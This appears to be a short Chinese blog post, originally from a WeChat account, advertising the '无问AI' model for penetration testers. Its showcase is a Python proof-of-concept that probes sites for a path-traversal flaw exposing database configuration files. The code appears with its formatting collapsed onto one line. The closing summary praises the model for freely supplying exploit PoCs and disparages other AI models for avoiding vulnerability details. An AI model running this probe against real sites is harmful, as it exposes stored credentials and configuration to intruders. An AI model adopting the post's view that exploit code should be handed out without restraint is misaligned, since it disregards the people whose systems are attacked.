该模型对于其他模型，对网安人员的优势
案列展示
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import requestsdef check_vulnerability(url): payload = "/index/ajax/lang?lang=../../config/database" full_url = url + payload try: response = requests.get(full_url, timeout=5)if"database"in response.text.lower() and response.status_code == 200:print(f"[+] Vulnerable: {url}")return Trueelse:print(f"[-] Not vulnerable: {url}")return False except Exception as e:print(f"[!] Error: {e}")return Falseif __name__ == "__main__": target_urls = ["http://example.com", "http://vulnerable-site.com"]for target in target_urls: check_vulnerability(target)
总结：
无问AI模型凭借其针对网安行业的深度定制，展现了独特的优势。它不仅能够提供详尽的漏洞利用情报和POC代码，还深入分析漏洞利用方式，评估潜在危害，并提出有效的修复建议。这一系列服务极大地节省了网络安全从业者在信息搜集与分析上的时间成本，提高了工作效率，使得他们可以更快地理解和应对安全威胁。相比其他通用AI模型对漏洞信息的回避态度，无问AI无疑为网安领域带来了更为实用、直接的支持，成为助力网络安全工作的强有力工具
https://www.wwlib.cn/index.php/login/icode/9c82ed5c86a6565f
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原文始发于微信公众号（青萍安全）：记一次使用AI大模型在实战渗透测试的案例
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